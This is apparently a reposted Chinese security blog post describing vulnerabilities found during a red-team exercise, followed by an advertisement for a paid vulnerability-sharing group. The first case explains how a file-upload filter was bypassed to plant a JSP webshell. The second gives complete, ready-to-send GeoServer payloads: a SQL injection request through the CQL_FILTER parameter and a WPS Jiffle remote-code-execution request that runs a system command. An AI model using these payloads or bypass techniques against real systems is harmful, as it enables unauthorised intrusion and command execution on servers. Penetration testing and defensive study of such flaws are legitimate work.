记录某次攻防演练中几个有趣的漏洞

admin 2024年6月17日15:13:38评论24 views字数 4572阅读15分14秒阅读模式

免责声明

由于传播、利用本公众号所发布的而造成的任何直接或者间接的后果及损失,均由使用者本人承担。LK安全公众号及原文章作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢大家!!!

又到了hw的季节,最近接连打了好几场比赛,想着公众号好久没更新技术文了,就总结了一些比较有趣的漏洞分享给大家,大佬勿喷。
案例1 文件上传绕过限制
最近在测试某系统的过程中,摸到了Swagger,泄露了蛮多接口,也很顺利地找到一处上传点。惊喜的是,系统本身并未对上传接口做后缀限制。

记录某次攻防演练中几个有趣的漏洞

尝试jsp、jspx、jspf等后缀,会报403,但是对于jspb这类不会被正常解析的后缀却能成功上传。

记录某次攻防演练中几个有趣的漏洞

于是尝试对文件后缀进行Fuzz,发现当文件后缀末尾加上俩正斜杠即可绕过检测,并被正常解析。

记录某次攻防演练中几个有趣的漏洞

后续就是解决文件内容检测的问题。对于常规的jsp标签内容限制的很死,例如 <% ... %> 标签,只要标签里面出现正常的语句(带分号),就会被ban掉。

记录某次攻防演练中几个有趣的漏洞

记录某次攻防演练中几个有趣的漏洞

到这就已经没啥思路了,突然翻到了yzddmr6师傅的一篇博客:https://yzddmr6.com/posts/jsp-webshell-upload-bypass/ ,文章中提到了利用el表达式和jspx命名空间绕过的方法。
常规的el表达式不会被ban,但出现太过复杂的利用语句就会被ban。奈何本人太菜,也尝试了各种绕过方法,均以失败告终。思路一:el表达式绕过。jsp是默认解析el表达式的,并且在没有jsp标签的情况下也可以直接执
行,这样就可以绕过jsp的限制。
思路二:jspx利用命名空间绕过。因为jspx实际上是jsp的xml写法,所以继承了xml的所有特性,例如cdata跟html实体编码等,同样也继承了命名空间的特性。

记录某次攻防演练中几个有趣的漏洞

接着就是考虑jspx命名空间绕过的方式,对于如下语句,会直接被拦截。

记录某次攻防演练中几个有趣的漏洞

但是文章中也提到了对于这种方法,其命名空间的名字是可以自定义的。将命名空间名称修改过后竟然奇迹般地过了。

记录某次攻防演练中几个有趣的漏洞

直接通关。

记录某次攻防演练中几个有趣的漏洞

对于 Runtime.getRuntime().exec() 这类语句也不再进行拦截。

记录某次攻防演练中几个有趣的漏洞

后续未进行过多测试,证明危害存在即可。

案例2 geoserver系列漏洞
最近打比赛发现遇到这个系统的频率还挺高的,看了一下刚好前几个月爆出了一些新的漏洞,就顺便也总结一下。这次比赛遇到的是geoserver的SQL注入,关于这个漏洞的打法如下
在进行SQL注入漏洞复现之前,首先需要获取地理图层列表信息,这个信息是SQL注入payload中一个必需的参数。

通过以下路径访问,获取地理图层列表信息。

http://192.168.254.170:9999/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities

<Name>标签中的信息,就是地理图层列表。这里选择ne:populated_places作为地理图层列表信息

记录某次攻防演练中几个有趣的漏洞

接着访问以下路径,获取图层的属性名称

http://192.168.254.170:9999/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:populated_places&maxFeatures=1&outputFormat=json
记录某次攻防演练中几个有趣的漏洞

最终payload如下:

GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=gwpd:chinamap11&CQL_FILTER=strStartsWith%28Vatican City%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1Host: 192.168.254.170:9999Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=1p6q6kkghu4bg1x04chtdvm369Connection: close

查询到了数据库的版本信息

记录某次攻防演练中几个有趣的漏洞
实战中手动拼接太繁琐,直接github找个项目跑一遍再手打。
同时前段时间也爆出了geoserver存在远程命令执行漏洞,在这里也给出poc,但是似乎存在漏洞的资产不太多2333
访问/geoserver/ows这个接口,如果出现下图这种情况可能有戏。

记录某次攻防演练中几个有趣的漏洞

POST /geoserver/wms HTTP/1.1
Host: xxxxxxxxx
Content-Type: application/xml
Accept-Encoding: gzip, deflate

<?xml version="1.0" encoding="UTF-8"?>
  <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
    <ows:Identifier>ras:Jiffle</ows:Identifier>
    <wps:DataInputs>
      <wps:Input>
        <ows:Identifier>coverage</ows:Identifier>
        <wps:Data>
          <wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999  316]]></wps:ComplexData>
        </wps:Data>
      </wps:Input>
      <wps:Input>
        <ows:Identifier>script</ows:Identifier>
        <wps:Data>
          <wps:LiteralData>dest = y() - (500); // */ public class Double {    public static double NaN = 0;  static { try {  java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream())); String line = null; String allLines = " - "while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
        </wps:Data>
      </wps:Input>
      <wps:Input>
        <ows:Identifier>outputType</ows:Identifier>
        <wps:Data>
          <wps:LiteralData>DOUBLE</wps:LiteralData>
        </wps:Data>
      </wps:Input>
    </wps:DataInputs>
    <wps:ResponseForm>
      <wps:RawDataOutput mimeType="image/tiff">
        <ows:Identifier>result</ows:Identifier>
      </wps:RawDataOutput>
    </wps:ResponseForm>
  </wps:Execute>
欢迎各位大佬关注

广告时间(别喷,混口饭吃哥哥们)

现在仅需100元/人,即可永久加入小密圈,与各位师傅一起学习(由于知识星球没有永久模块,付费资源已经搬迁到纷传社区)

优惠券

记录某次攻防演练中几个有趣的漏洞

目前小密圈的资源

0/1day漏洞白盒分析

记录某次攻防演练中几个有趣的漏洞

不仅仅是poc的信息 更有从白盒层面分析的样例 拒当脚本小子

部分展示

记录某次攻防演练中几个有趣的漏洞

漏洞报告(edusrc/企业/CNVD)

在脱敏的情况下最大程度保证黑盒漏洞挖掘的完整性和思路性

记录某次攻防演练中几个有趣的漏洞

记录某次攻防演练中几个有趣的漏洞

记录某次攻防演练中几个有趣的漏洞

目前圈子内不仅显于黑盒src挖掘,更有众多白盒挖掘报告

除此之外 圈子还提供以下付费资源

  1. ctf靶场账号

  2. 内部群在线专属答疑

  3. 与src/红队/代码审计大佬面对面交流

心动不如行动 想上车的朋友们速度联系啦

本人联系方式

记录某次攻防演练中几个有趣的漏洞

原文始发于微信公众号(LK安全):记录某次攻防演练中几个有趣的漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月17日15:13:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记录某次攻防演练中几个有趣的漏洞https://cn-sec.com/archives/2856085.html

发表评论

匿名网友 填写信息